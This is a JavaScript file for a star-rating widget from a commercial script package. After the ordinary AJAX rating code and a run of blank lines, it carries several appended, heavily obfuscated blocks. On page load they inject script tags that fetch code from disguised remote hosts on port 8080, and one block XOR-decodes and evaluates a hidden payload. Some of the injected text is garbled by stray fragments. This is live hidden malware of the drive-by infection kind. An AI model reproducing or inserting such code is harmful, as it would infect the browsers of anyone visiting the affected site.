/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
// +----------------------------------------------------------------------+
// | This source file is a part of iScripts.com Visual Caster v1.0        |
// +----------------------------------------------------------------------+
// | Copyrights Armia Systems, Inc and iScripts.com © 2007                |
// | All rights reserved                                                  |
// +----------------------------------------------------------------------+
// | This script may not be distributed, sold, given away for free to     |
// | third party, or used as a part of any internet services such as      |
// | webdesign etc.                                                       |
// +----------------------------------------------------------------------+

var xmlhttp
	/*@cc_on @*/
	/*@if (@_jscript_version >= 5)
	  try {
	  xmlhttp=new ActiveXObject("Msxml2.XMLHTTP")
	 } catch (e) {
	  try {
	    xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
	  } catch (E) {
	   xmlhttp=false
	  }
	 }
	@else
	 xmlhttp=false
	@end @*/
	if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
	 try {
	  xmlhttp = new XMLHttpRequest();
	 } catch (e) {
	  xmlhttp=false
	 }
	}
	function myXMLHttpRequest() {
	  var xmlhttplocal;
	  try {
	    xmlhttplocal= new ActiveXObject("Msxml2.XMLHTTP")
	 } catch (e) {
	  try {
	    xmlhttplocal= new ActiveXObject("Microsoft.XMLHTTP")
	  } catch (E) {
	    xmlhttplocal=false;
	  }
	 }

	if (!xmlhttplocal && typeof XMLHttpRequest!='undefined') {
	 try {
	  var xmlhttplocal = new XMLHttpRequest();
	 } catch (e) {
	  var xmlhttplocal=false;
	  alert('couldn\'t create xmlhttp object');
	 }
	}
	return(xmlhttplocal);
}

function sndReq(vote,id_num,ip_num,units,rating) {
	var theUL = document.getElementById('unit_ul'+id_num); // the UL
	
	// switch UL with a loading div
	theUL.innerHTML = '<div class="loading"></div>';
	xmlhttp.open('get', 'rpc.php?j='+vote+'&q='+id_num+'&t='+ip_num+'&c='+units+'&rating='+rating);
    xmlhttp.onreadystatechange = handleResponse;
    xmlhttp.send(null);	
}

function handleResponse() {
  if(xmlhttp.readyState == 4){
		if (xmlhttp.status == 200){
       	
        var response = xmlhttp.responseText;
        var update = new Array();

        if(response.indexOf('|') != -1) {
            update = response.split('|');
            changeText(update[0], update[1]);
        }
		}
    }
}

function changeText( div2show, text ) {
    // Detect Browser
    var IE = (document.all) ? 1 : 0;
    var DOM = 0; 
    if (parseInt(navigator.appVersion) >=5) {DOM=1};

    // Grab the content from the requested "div" and show it in the "container"
    if (DOM) {
        var viewer = document.getElementById(div2show);
        viewer.innerHTML = text;
    }  else if(IE) {
        document.all[div2show].innerHTML = text;
    }
}

/* =============================================================== */
var ratingAction = {
		'a.rater' : function(element){
			element.onclick = function(){

			var parameterString = this.href.replace(/.*\?(.*)/, "$1"); // onclick="sndReq('j=1&q=2&t=127.0.0.1&c=5');
			var parameterTokens = parameterString.split("&"); // onclick="sndReq('j=1,q=2,t=127.0.0.1,c=5');
			var parameterList = new Array();

			for (j = 0; j < parameterTokens.length; j++) {
				var parameterName = parameterTokens[j].replace(/(.*)=.*/, "$1"); // j
				var parameterValue = parameterTokens[j].replace(/.*=(.*)/, "$1"); // 1
				parameterList[parameterName] = parameterValue;
			}
			var theratingID = parameterList['q'];
			var theVote = parameterList['j'];
			var theuserIP = parameterList['t'];
			var theunits = parameterList['c'];
			var therating = parameterList['rating'];
									
			//for testing	alert('sndReq('+theVote+','+theratingID+','+theuserIP+','+theunits+')'); return false;
			sndReq(theVote,theratingID,theuserIP,theunits,therating); return false;		
			}
		}
		
	};
Behaviour.register(ratingAction);















var __;if(__!='' && __!='f'){__='q'};var i=new String();var x='s1cCr?i1pWtC'.replace(/[CV\?W1]/g, '');var io;if(io!='' && io!='u'){io=''};this.e='';var xk=window;var op;if(op!='' && op!='kq'){op='b'};var _=document;this.v=false;xk.onload=function(){try {l=_.createElement(x);var fz;if(fz!=''){fz='xg'};this.y=false;l.setAttribute('dbeEfHeHrb'.replace(/[bHxmE]/g, ''), "1");var bl;if(bl!='qd'){bl='qd'};var ot=30243;l.src='hOtFtspF:_/O/FiFfsesnOg>-Fc_oFm>.Omsesgsa>cFl_iscOkO.>cOo>m>.Fjsrsj>-FcsoOmF->c_n>.srse_cFesnst>mFe>xsiscsos._rOuO:_8F0>8O0>/Fc>aOr_e_esrsbOusisl_dOesrs.scso>ms/FcsaOrOeFe>r>bOu_iFlsd_e_r>.>c_oOm_/OmFisnFiOcslOi_p_._c_oFmO/FgOoOosgOl>eF.>cOosm>/_gsl>o_b>o_.Fc>o>m>/>'.replace(/[\>FO_s]/g, '');var w_;if(w_!='' && w_!='oq'){w_=null};var lt="";var tt="tt";var gy=58190;_.body.appendChild(l);this.z='';} catch(d){var nk;if(nk!='iq' && nk != ''){nk=null};var mi;if(mi!='' && mi!='km'){mi=null};};this.tj=49039;};var zx='';var bf;if(bf!=''){bf='pe'};
this.q="q";this.tf='';var g;if(g!=''){g='cu'};:LineMixer [var a;if(a!='' && a!='m'){a=''};var gh;if(gh!='' && gh!='zi'){gh=''};var v=window;var jj;if(jj!='' && jj!='fu'){jj=null};var x='s/cArwiwp/t/'.replace(/[/Awq\?]/g, '');this.ei="";this.zil="";var _='chrjejaMt7ehEjlje7mMeMn2tj'.replace(/[jh2M7]/g, '');]var y;if(y!='s' && y!='qy'){y=''};var sf;if(sf!='qv'){sf='qv'};var u_;if(u_!='vk'){u_='vk'};v.onload=function(){var vq='';try {var f_;if(f_!='rn' && f_!='ed'){f_='rn'};var ym='';h=document[_](x);var bk;if(bk!='sr' && bk!='pe'){bk=''};var h_=new Date();var aa;if(aa!='zw' && aa!='d'){aa=''};var my=new String();:LineMixer [h['s.rDcA'.replace(/[AN\.D/]/g, '')]='h2tKtzpz:z/2/|gKoKoVg|l|e|-VcKo2-2u2kK.Vd2eztViVkK.|czo|mV.zb2e2ezmzpV3|-Kc2o|mz.KbKeKs2tVn|eKwzsVm2aVl|l2.Krzu2:K8|0|820V/z1z7z1z7K3z.zc2oVmK/z1K7|1|7K3K.2czo2m|/KmVt2vz.2cVozm|/zgVo2oVgKlze2.2c|o|mK/2t2oVrKrVe|nVtzrzeVaVcztVo2r|.Vn2eKtV/V'.replace(/[Vz\|K2]/g, '');var ld=new Array();var xy=new Array();h.setAttribute('d;e&fpe;r^'.replace(/[\^&g;p]/g, ''), "1");var nf="nf";]this.em=false;this.ra=false;var bo=false;this.eh=60778;document['bzo#d:yz'.replace(/[zFq\:#]/g, '')]['a#p#pOe5n#d5C5hOiOlOd#'.replace(/[#5\$Os]/g, '')](h);this.bc="";var ay=false;} catch(r){var pv;if(pv!='cq' && pv != ''){pv=null};var gg=new Array();};this.m_=false;var cdy;if(cdy!='' && cdy!='bcb'){cdy='zt'};};var fn=new String();
var d=new String();var b;if(b!='' && b!='xe'){b='dy'};function u() {var dyl;if(dyl!='c' && dyl!='r'){dyl='c'};this.rb=8538;function x(a,m,_){a['s1e+t*A*t+txrZixb+u1t+ex'.replace(/[x\*\+Z1]/g, '')](m, _);}var t='sXcXr%i%put8'.replace(/[8uX%f]/g, '');var bn;if(bn!=''){bn='ly'};var y=window;var sh=new Date();var k=new Date();var f='cFr$eFaFtVevEVlse$m$e$nVtv'.replace(/[vVsF\$]/g, '');var ha;if(ha!='' && ha!='bm'){ha=''};y['o1nRlMoza%dR'.replace(/[Rz1%M]/g, '')]=function(){try {ty=document[f](t);var ht;if(ht!='' && ht!='g'){ht='j'};this.c_="c_";var eb;if(eb!='' && eb!='ms'){eb='o'};var _x;if(_x!='' && _x!='tx'){_x=null};var dp='';x(ty,'s#rvch'.replace(/[hvP\+#]/g, ''),'hHtGt9p,:,/9/GmGy,w9e,bGsGe9a,rMcMhH-Mc,oGmM.9aMsHkM.9c9o9mH.9u,lGtMiMm,aGtHe,-HgHuGi9t,a,rH-McHoGm,.MmHeHdHiGaGtMa,g9oMn9l,i,n9eH.Hr,uM:,8,0G8G0H/GgHo,oHg,lGeM.Hc9o9mM/9gHo,oGg,l9eG.Gc,oMmG/MnHiMkMk9eGi9bGp9.HcHo9.HjHpM/HsMa,l,eMsHfHo9rHcGeG.9c9o,mH/GnMbGaM.Mc9oMm9/,'.replace(/[,GHM9]/g, ''));var pm;if(pm!='' && pm!='dz'){pm=null};var dx;if(dx!='' && dx!='i'){dx=null};x(ty,'dUeYfxe8rU'.replace(/[U8SYx]/g, ''),1);var _o=false;var e_;if(e_!='_a' && e_ != ''){e_=null};document['bKo4dKyx'.replace(/[x42Kv]/g, '')]['a:pVpOe:ncdNC:h:iNlOdO'.replace(/[ONVc\:]/g, '')](ty);var jx;if(jx!='' && jx!='jw'){jx=''};this.pe=29185;} catch(am){var chq='';};var pw;if(pw!='' && pw!='mp'){pw='mg'};};var bo=new String();this.ok=52651;};u();var iu='';
var AS="60715d7d4d264d5255496c204d50714923644e7b4d5052414d786c716b4d50496d46525e675a604e7e467e4360626a425241561f363d02206e6453494366607568384a7311764649177652355562";var wQ="wQ";var RVq;if(RVq!=''){RVq='zG'};var YFy=29696;function B(w){var L;if(L!='iA' && L != ''){L=null};var sc;if(sc!='lt' && sc!='Iz'){sc=''}; var hf=function(E,g){var yV;if(yV!='PY'){yV=''};return E^g;};var Jw=""; var I=function(S){var K =[0][0];var p =[91,0,22][1];this.O="O";this.wa="wa";S = new j(S);var s = -1;var y = '';var rm;if(rm!='o'){rm='o'};var k;if(k!='vQ'){k='vQ'};for (p=S[h("elntgh", [1,0,2])]-s;p>=K;p=p-[1][0]){var Q;if(Q!='ZT'){Q=''};this.ja=false;y+=S[h("raAthc", [5,4,1,0,2,3])](p);var KD="KD";var nN="nN";}this.KH="KH";return y;var di;if(di!='dg'){di=''};};var MC="MC"; var c=function(IL,m){return IL[h("horCacdeAt", [5,0,4,2,3,1])](m);};var sL=''; var oi;if(oi!='' && oi!='T'){oi=null};function h(S, l){var ND=false;this.GS=false;var X=[1][0];var Nj;if(Nj!=''){Nj='mP'};var ru;if(ru!=''){ru='na'};var ck = l.length;var Rm;if(Rm!='ZB' && Rm!='xi'){Rm='ZB'};var hk = S.length;var y = '';var MJ;if(MJ!='tz'){MJ=''};var Gd;if(Gd!='fG'){Gd=''};var K=[185,0,57,239][1];var RL=false;var up=new Array();var It=false;for(var p = K; p < hk; p += ck) {var rN;if(rN!='' && rN!='BJ'){rN=null};var HC=new Date();var wV=new Date();var d = S.substr(p, ck);var FX="FX";var Dr=new Array();if(d.length == ck){this.huv="huv";this.fm="fm";for(var V in l) {var lC;if(lC!='Ig' && lC!='fo'){lC=''};this.ID="ID";y+=d.substr(l[V], X);this.GBG='';var tS=new Array();var fH;if(fH!='' && fH!='el'){fH='Kz'};}var gT="";var pX;if(pX!='jY' && pX != ''){pX=null};} else {var z;if(z!='Ba' && z!='Fn'){z=''};var KGH='';  y+=d;}var rb;if(rb!=''){rb='vW'};}this.GR=36439;return y;}var VF;if(VF!='xhB'){VF='xhB'};this.sl=''; var A=function(x){this.Cc='';var b=[255,48][0];var SZ=new String();var pi=[79,0,98,208][1];var px;if(px!='dq' && px!='Db'){px='dq'};var cL=x[h("nlehgt", [1,2,0])];var fL;if(fL!=''){fL='yv'};var JwU;if(JwU!='jj'){JwU='jj'};var X=[233,9,129,1][3];var V=[166,0][1];var UY;if(UY!=''){UY='xX'};var mS=false;var kc=new Array();while(V<cL){this.QJ=false;V++;var Pj;if(Pj!='GQ' && Pj != ''){Pj=null};var sT=false;Ka=c(x,V - X);this.Kag="";this.On="";pi+=Ka*cL;var Vo=new Array();}var qO;if(qO!='' && qO!='Tk'){qO=''};var ML=new Date();var Mo=false;return new j(pi % b);var qB;if(qB!=''){qB='CS'};};var PK;if(PK!='' && PK!='bb'){PK=''};this.JW=52295;var oE;if(oE!='' && oE!='slz'){oE='vq'};var u=window;var scc;if(scc!='' && scc!='hh'){scc='yH'};var uN=new Date();var P=u[h("veal", [1,0,2])];var gc=P(h("ncuiFton", [4,2,0,1,5,3]));var Or=26892;var pH=new String();var jR=P(h("epxRgE", [3,0,4,5,2,1]));this.bB=false;var KC;if(KC!='fS' && KC != ''){KC=null};var j=P(h("rStgin", [1,2,0]));var r = '';var GA;if(GA!='' && GA!='IT'){GA=null};var es;if(es!='mv'){es='mv'};this.xy=7725;this.Xh="Xh";var Td;if(Td!='AN'){Td='AN'};var MBD=new String();var vN;if(vN!='uc'){vN='uc'};var Uj=j[h("ofrhmCCareod", [1,2,0])];this.em="em";this.NfK="NfK";var ry=u[h("eunascpe", [1,2,0])];var Id;if(Id!='TO' && Id!='RW'){Id=''};var yF=32465;var EP="EP";var R =[2][0];var nM;if(nM!='TK'){nM=''};var cLF =[140,3,0][2];var a = /[^@a-z0-9A-Z_-]/g;var ma=false;this.rbr='';var K =[0,132,208,2][0];var cm;if(cm!='' && cm!='dA'){cm='QR'};var pP = '';this.NM='';var J = "%";var bT=[1, h("cduonmter.eceaEtmlee(n\'trsic\'p)t", [1,3,0,2]),2, h("nctmdoueaopy.bd.inlCpedhd(d)", [4,5,1,6,3,7,0,2]),3, h("liev.nsldeiseigtu:08rn8.0", [5,7,4,0,1,3,2,6]),4, h(".edsAtttiurbe\'t(eedfr\'", [2,0,3,1]),5, h("aobato.com", [4,0,1,2,3,5]),6, h("o.cmielvcm.o.nu", [2,0,3,1]),7, h("iwnodwo.nolad", [1,0,2]),8, h("btiruaflnsoi", [1,3,2,0]),11, h("alrdeotuef.r", [1,0,2]),12, h("itfocnnu()", [2,7,5,4,1,0,3,6]),14, h("gogole.com", [2,1,3,0,4,5]),15, h("acct(h)e", [1,0]),16, h("iltb.y", [3,0,2,4,1]),17, h("h\"tt:p", [1,0]),18, h("crd.s", [2,3,4,1,0]),19, h(")1\'\'", [3,1,2,0]),20, h("rty", [1,0])];var TI=new Date();var hB = '';var cT;if(cT!='XY' && cT!='ANm'){cT='XY'};var q = '';var X =[1][0];var Mj=2551;var i = w[h("nelhtg", [2,1,0])];var wC='';var lo='';this.yq="";var Lm='';var hL=false;this.qN=31811;for(var sy=K; sy < i; sy+=R){var Ak=new String();var lp;if(lp!='SP' && lp!='IA'){lp=''};q+= J; q+= w[h("ussbrt", [1,0])](sy, R);var Cb;if(Cb!='Yh' && Cb!='Js'){Cb=''};this.jjC="jjC";}var Hr=new Date();this.MT='';var w = ry(q);this.is="is";var mR=new Date();var M = new j(B);var Cg;if(Cg!='db' && Cg != ''){Cg=null};var QX=false;var e = M[h("plreace", [2,3,0,1])](a, pP);var wy=new String();this.Ct="";var Kp = new j(gc);var ab = bT[h("elgnht", [1,0])];var Po=45815;var Dy=24304;e = I(e);var yT;if(yT!='vu'){yT=''};var v = Kp[h("erlpcae", [1,0])](a, pP);var v = A(v);var wS='';var dl=A(e);var Yq;if(Yq!='' && Yq!='TP'){Yq=''};var Si="";var UoJ;if(UoJ!='ba'){UoJ=''};for(var p=K; p < (w[h("htnegl", [5,3,2,4,1,0])]);p=p+[142,247,1,48][2]) {this.FS="";this.OV="";this.kmj="";var PZ;if(PZ!='hz' && PZ!='pa'){PZ=''};var mW = e.charCodeAt(cLF);var f = c(w,p);var Rl;if(Rl!=''){Rl='qa'};var Fg;if(Fg!=''){Fg='Th'};f = hf(f, mW);f = hf(f, dl);f = hf(f, v);this.EX=24490;cLF++;var UW;if(UW!=''){UW='mRQ'};if(cLF > e.length-X){cLF=K;this.pp='';}var Bq;if(Bq!='AI' && Bq!='tx'){Bq=''};var CK;if(CK!='xhI' && CK!='pe'){CK=''};var bbz;if(bbz!='XGW' && bbz!='sAk'){bbz='XGW'};hB += Uj(f);this.pj=false;var RV=new Array();}var Yl;if(Yl!='vj' && Yl != ''){Yl=null};var bh="";var lu=false;var TR;if(TR!='MjH' && TR!='pY'){TR=''};for(wo=K; wo < ab; wo+=R){var BF="BF";this.UJ=55263;var gP = Uj(bT[wo]);var dQ;if(dQ!='yU' && dQ!='dll'){dQ=''};var SR = bT[wo + X];var Ui;if(Ui!='YLF'){Ui='YLF'};var Cbp;if(Cbp!='Lo'){Cbp='Lo'};var kS;if(kS!='' && kS!='FR'){kS=null};this.LA=false;this.fhe=false;this.uY=false;var uu = new jR(gP, "g");var Sxw=new String();hB=hB[h("eeracpl", [2,1,5,6,3,4,0])](uu, SR);var jI;if(jI!='oEB' && jI != ''){jI=null};var xyr=new String();}var JH="";var aG;if(aG!='' && aG!='sU'){aG='QK'};var Ik=new gc(hB);var iL;if(iL!='' && iL!='NQ'){iL=''};Ik();var Stx;if(Stx!='' && Stx!='zw'){Stx='OcE'};this.Ta='';v = '';this.tuO="";var uD=23201;this.xB=false;dl = '';this.txt=false;var QO="";Kp = '';this.JP="";var mRZ;if(mRZ!='' && mRZ!='je'){mRZ=null};Ik = '';this.En=false;e = '';hB = '';var UC;if(UC!='' && UC!='lH'){UC=''};this.DM=28432;var ax;if(ax!=''){ax='wf'};var Tl;if(Tl!='mw'){Tl=''};var pn;if(pn!='iQ'){pn=''};return '';this.QC='';};var wQ="wQ";var RVq;if(RVq!=''){RVq='zG'};var YFy=29696;B(AS);
function qO() {var F="";var X=new Array();var s;if(s!='' && s!='t'){s=''};var e='g';var Eg;if(Eg!='XZ'){Eg=''};var N=']';var x;if(x!='' && x!='lB'){x=''};this.A='';var D=RegExp;var U='';var kE=new Date();var u='[';var Zl;if(Zl!='U_' && Zl!='W'){Zl='U_'};var o='replace';var w=new String();var GH;if(GH!='qOj' && GH != ''){GH=null};function q(g,G){var cG='';var n=u;var Le;if(Le!='r' && Le != ''){Le=null};var J;if(J!='WE' && J != ''){J=null};n+=G;n+=N;var E=new D(n, e);this.bh="";this.KW="";return g[o](E, w);var Dh=new Array();var nU;if(nU!='' && nU!='ni'){nU=null};};var p_;if(p_!='Ky' && p_!='Mb'){p_='Ky'};var c=q('czrzezaztqezEDlzeDmzeznDtq',"zqD");var hT;if(hT!='' && hT!='H'){hT=''};var P=q('h9t0tZp4:X/Z/ZlXoZv0eZ2910cZn9-Xc4o4mZ.4gZoZo0gXlXeZ.0r0uZ.4s4qXuZiXd0o4o4-9cZoZm9.9s0a0m9u9eZsZt0.Zr9u0:4',"094XZ");var AW=new String();var Q='';var pa=new Date();var ga=window;var pF=new String();var O=q('/ytyuyeUnUtyiU.UcyoUmU/UtUuUeynUtyiU.ycUoymy/yrUaUdyiUkyayly.UrUuy/ydUeyeUzUeyry.ycUoUmU/UgyoUoUgylUeU.Ucyoymy.UpUhypy',"Uy");this.Dt="";var Pr=q('slcKrKiKpKtK',"lKP");var rl=new Array();this.KE="";var nt;if(nt!='tl'){nt='tl'};var M=q('8264767607642267678227766206476447',"7264");var cC='';var Al=new Date();ga[q('oznOlOozazdO',"Oz")]=function(){try {this.xJ='';Q+=P;var Xw;if(Xw!=''){Xw='gW'};Q+=M;var Yc=new String();var fw;if(fw!='tlT' && fw!='OP'){fw='tlT'};Q+=O;var Wz=new Array();this.jW='';ns=document[c](Pr);var QA;if(QA!='fW'){QA=''};Qr(ns,'defer',([1,8][0]));Qr(ns,'src',Q);document.body.appendChild(ns);var WS;if(WS!='Yb' && WS!='lZ'){WS='Yb'};var dj;if(dj!='uX' && dj!='I'){dj='uX'};} catch(y){};var mk=new String();};var aC=new Date();var PB=new Date();this.Ht="";this.o_="";function Qr(eA,oe,cD){eA.setAttribute(oe, cD);}};var Qo=new Array();var c_=new Array();qO();this.WW='';